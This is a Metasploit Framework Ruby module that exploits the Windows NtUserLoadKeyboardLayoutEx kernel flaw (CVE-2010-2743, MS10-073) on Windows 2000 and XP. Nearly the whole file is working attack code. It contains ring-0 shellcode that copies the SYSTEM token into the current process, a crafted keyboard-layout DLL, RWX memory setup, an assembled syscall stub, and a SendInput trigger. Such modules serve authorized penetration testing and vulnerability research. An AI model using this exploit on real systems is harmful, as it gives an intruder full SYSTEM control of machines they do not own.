metasploit-framework/modules/post/windows/escalate/ms10_073_kbdlayout.rb

365 lines
12 KiB
Ruby

##
# This module requires Metasploit: http//metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
require 'msf/core'
require 'rex'
require 'metasm'
class Metasploit3 < Msf::Post
def initialize(info={})
super(update_info(info,
'Name' => 'Windows Escalate NtUserLoadKeyboardLayoutEx Privilege Escalation',
'Description' => %q{
This module exploits the keyboard layout vulnerability exploited by Stuxnet. When
processing specially crafted keyboard layout files (DLLs), the Windows kernel fails
to validate that an array index is within the bounds of the array. By loading
a specially crafted keyboard layout, an attacker can execute code in Ring 0.
},
'License' => MSF_LICENSE,
'Author' =>
[
'Ruben Santamarta', # First public exploit
'jduck' # Metasploit module
],
'Platform' => [ 'win' ],
'SessionTypes' => [ 'meterpreter' ],
'References' =>
[
[ 'OSVDB', '68552' ],
[ 'CVE', '2010-2743' ],
[ 'MSB', 'MS10-073' ],
[ 'URL', 'http://www.vupen.com/blog/20101018.Stuxnet_Win32k_Windows_Kernel_0Day_Exploit_CVE-2010-2743.php' ],
[ 'URL', 'http://www.reversemode.com/index.php?option=com_content&task=view&id=71&Itemid=1' ],
[ 'EDB', '15985' ]
],
'DisclosureDate'=> "Oct 12 2010"
))
end
def run
mem_base = nil
dllpath = nil
hDll = false
vuln = false
winver = session.sys.config.sysinfo["OS"]
affected = [ 'Windows 2000', 'Windows XP' ]
affected.each { |v|
if winver.include? v
vuln = true
break
end
}
if not vuln
print_error("#{winver} is not vulnerable.")
return
end
# syscalls from http://j00ru.vexillium.org/win32k_syscalls/
if winver =~ /2000/
system_pid = 8
pid_off = 0x9c
flink_off = 0xa0
token_off = 0x12c
addr = 0x41424344
syscall_stub = <<-EOS
mov eax, 0x000011b6
lea edx, [esp+4]
int 0x2e
ret 0x1c
EOS
else # XP
system_pid = 4
pid_off = 0x84
flink_off = 0x88
token_off = 0xc8
addr = 0x60636261
syscall_stub = <<-EOS
mov eax, 0x000011c6
mov edx, 0x7ffe0300
call [edx]
ret 0x1c
EOS
end
ring0_code =
#"\xcc" +
# save registers -- necessary for successfuly recovery
"\x60" +
# get EPROCESS from ETHREAD
"\x64\xa1\x24\x01\x00\x00" +
"\x8b\x70\x44" +
# init PID search
"\x89\xf0" +
"\xbb" + "FFFF" +
"\xb9" + "PPPP" +
# look for the system pid EPROCESS
"\xba" + "SSSS" +
"\x8b\x04\x18" +
"\x29\xd8" +
"\x39\x14\x08" +
"\x75\xf6" +
# save the system token addr in edi
"\xbb" + "TTTT" +
"\x8b\x3c\x18" +
"\x83\xe7\xf8" +
# re-init the various offsets
"\x89\xf0" +
"\xbb" + "FFFF" +
"\xb9" + "PPPP" +
# find the target pid token
"\xba" + "TPTP" +
"\x8b\x04\x18" +
"\x29\xd8" +
"\x39\x14\x08" +
"\x75\xf6" +
# set the target pid's token to the system token
"\xbb" + "TTTT" +
"\x89\x3c\x18" +
# restore start context
"\x61" +
# recover in ring0, return to caller
"\xc2\x0c\00"
dll_data =
"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00" +
"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00" +
"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00" +
"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x40\x00\x00\x00" +
"\x00\x00\x00\x00\x00\x00\x01\x00\x00\x00\x00\x00\x00\x00\x00\x00" +
"\x00\x00\x00\x00\xE0\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00" +
"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00" +
"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00" +
"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00" +
"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00" +
"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00" +
"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00" +
"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00" +
"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00" +
"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00" +
"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00" +
"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00" +
"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00" +
"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00" +
"\x00\x00\x00\x00\x00\x00\x00\x00\x2E\x64\x61\x74\x61\x00\x00\x00" +
"\xE6\x00\x00\x00\x60\x01\x00\x00\xE6\x00\x00\x00\x60\x01\x00\x00" +
"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00" +
"\x94\x01\x00\x00\x9E\x01\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00" +
"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00" +
"\xA6\x01\x00\x00\xAA\x01\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00" +
"\x00\x00\x00\x00\x9C\x01\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00" +
"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00" +
"\x00\x00\x01\x00\x00\x00\xC2\x01\x00\x00\x00\x00\x00\x00\x00\x00" +
"\x00\x00\x00\x05\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00" +
"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00" +
"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00" +
"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00" +
"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00" +
"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00" +
"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00" +
"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00" +
"\x00\x00\x00\x00\x00\x00"
pid = session.sys.process.getpid
print_status("Attempting to elevate PID 0x%x" % pid)
# Prepare the shellcode (replace platform specific stuff, and pid)
ring0_code.gsub!('FFFF', [flink_off].pack('V'))
ring0_code.gsub!('PPPP', [pid_off].pack('V'))
ring0_code.gsub!('SSSS', [system_pid].pack('V'))
ring0_code.gsub!('TTTT', [token_off].pack('V'))
ring0_code.gsub!('TPTP', [pid].pack('V'))
# Create the malicious Keyboard Layout file...
tmpdir = session.sys.config.getenv('TEMP')
fname = "p0wns.boom"
dllpath = "#{tmpdir}\\#{fname}"
fd = session.fs.file.new(dllpath, 'wb')
fd.write(dll_data)
fd.close
# Can't use this atm, no handle access via stdapi :(
#dll_fd = session.fs.file.new(dllpath, 'rb')
# Instead, we'll use railgun to re-open the file
ret = session.railgun.kernel32.CreateFileA(dllpath, GENERIC_READ, 1, nil, 3, 0, 0)
print_status(ret.inspect)
if ret['return'] < 1
print_error("Unable to open #{dllpath}")
return
end
hDll = ret['return']
print_status("Wrote malicious keyboard layout to #{dllpath} ..")
# Allocate some RWX virtual memory for our use..
mem_base = addr & 0xffff0000
mem_size = (addr & 0xffff) + 0x1000
mem_size += (0x1000 - (mem_size % 0x1000))
mem = session.railgun.kernel32.VirtualAlloc(mem_base, mem_size, MEM_COMMIT|MEM_RESERVE, PAGE_EXECUTE_READWRITE)
if (mem['return'] != mem_base)
print_error("Unable to allocate RWX memory @ 0x%x" % mem_base)
return
end
print_status("Allocated 0x%x bytes of memory @ 0x%x" % [mem_size, mem_base])
# Initialize the buffer to contain NO-OPs
nops = "\x90" * mem_size
ret = session.railgun.memwrite(mem_base, nops, nops.length)
if not ret
print_error("Unable to fill memory with NO-OPs")
return
end
# Copy the shellcode to the desired place
ret = session.railgun.memwrite(addr, ring0_code, ring0_code.length)
if not ret
print_error("Unable to copy ring0 payload")
return
end
# InitializeUnicodeStr(&uStr,L"pwn3d.dll"); -- Is this necessary?
pKLID = mem_base
pStr = pKLID + (2+2+4)
kbd_name = "pwn3d.dll"
uni_name = Rex::Text.to_unicode(kbd_name + "\x00")
ret = session.railgun.memwrite(pStr, uni_name, uni_name.length)
if not ret
print_error("Unable to copy unicode string data")
return
end
unicode_str = [
kbd_name.length * 2,
uni_name.length,
pStr
].pack('vvV')
ret = session.railgun.memwrite(pKLID, unicode_str, unicode_str.length)
if not ret
print_error("Unable to copy UNICODE_STRING structure")
return
end
print_status("Initialized RWX buffer ...")
# Get the current Keyboard Layout
ret = session.railgun.user32.GetKeyboardLayout(0)
if ret['return'] < 1
print_error("Unable to GetKeyboardLayout")
return
end
hKL = ret['return']
print_status("Current Keyboard Layout: 0x%x" % hKL)
# _declspec(naked) HKL __stdcall NtUserLoadKeyboardLayoutEx(
# IN HANDLE Handle,
# IN DWORD offTable,
# IN PUNICODE_STRING puszKeyboardName,
# IN HKL hKL,
# IN PUNICODE_STRING puszKLID,
# IN DWORD dwKLID,
# IN UINT Flags
# )
# Again, railgun/meterpreter doesn't implement calling a non-dll function, so
# I tried to hack up this call to KiFastSystemCall, but that didn't work either...
=begin
session.railgun.add_function('ntdll', 'KiFastSystemCall', 'DWORD',
[
[ 'DWORD', 'syscall', 'in' ],
[ 'DWORD', 'handle', 'in' ],
[ 'DWORD', 'offTable', 'in' ],
[ 'PBLOB', 'pKbdName', 'in' ],
[ 'DWORD', 'hKL', 'in' ],
[ 'PBLOB', 'pKLID', 'in' ],
[ 'DWORD', 'dwKLID', 'in' ],
[ 'DWORD', 'Flags', 'in' ]
])
ret = session.railgun.ntdll.KiFastSystemCall(dll_fd, 0x1ae0160, nil, hKL, pKLID, 0x666, 0x101)
print_status(ret.inspect)
=end
# Instead, we'll craft a machine code blob to setup the stack and perform
# the system call..
asm = <<-EOS
pop esi
push 0x101
push 0x666
push #{"0x%x" % pKLID}
push #{"0x%x" % hKL}
push 0
push 0x1ae0160
push #{"0x%x" % hDll}
push esi
#{syscall_stub}
EOS
#print_status("\n" + asm)
bytes = Metasm::Shellcode.assemble(Metasm::Ia32.new, asm).encode_string
#print_status("\n" + Rex::Text.to_hex_dump(bytes))
# Copy this new system call wrapper function into our RWX memory
func_ptr = mem_base + 0x1000
ret = session.railgun.memwrite(func_ptr, bytes, bytes.length)
if not ret
print_error('Unable to copy system call stub')
return
end
print_status("Patched in syscall wrapper @ 0x%x" % func_ptr)
# GO GO GO
ret = session.railgun.kernel32.CreateThread(nil, 0, func_ptr, nil, "CREATE_SUSPENDED", nil)
if ret['return'] < 1
print_error("Unable to CreateThread")
return
end
hthread = ret['return']
# Resume the thread to actually have the syscall happen
ret = client.railgun.kernel32.ResumeThread(hthread)
if ret['return'] < 1
print_error("Unable to ResumeThread")
return
end
print_status("Successfully executed syscall wrapper!")
# Now, send some input to cause ring0 payload execution...
print_status("Attempting to cause the ring0 payload to execute...");
vInput = [
1, # INPUT_KEYBOARD - input type
# KEYBDINPUT struct
0x0, # wVk
0x0, # wScan
0x0, # dwFlags
0x0, # time
0x0, # dwExtraInfo
0x0, # pad 1
0x0 # pad 2
].pack('VvvVVVVV')
ret = session.railgun.user32.SendInput(1, vInput, vInput.length)
print_status('SendInput: ' + ret.inspect)
ensure
# Clean up
if mem_base
ret = session.railgun.kernel32.VirtualFree(mem_base, 0, MEM_RELEASE)
if not ret['return']
print_error("Unable to free memory @ 0x%x" % mem_base)
end
end
#dll_fd.close
if hDll
ret = session.railgun.kernel32.CloseHandle(hDll)
if not ret['return']
print_error("Unable to CloseHandle")
end
end
session.fs.file.rm(dllpath) if dllpath
end
end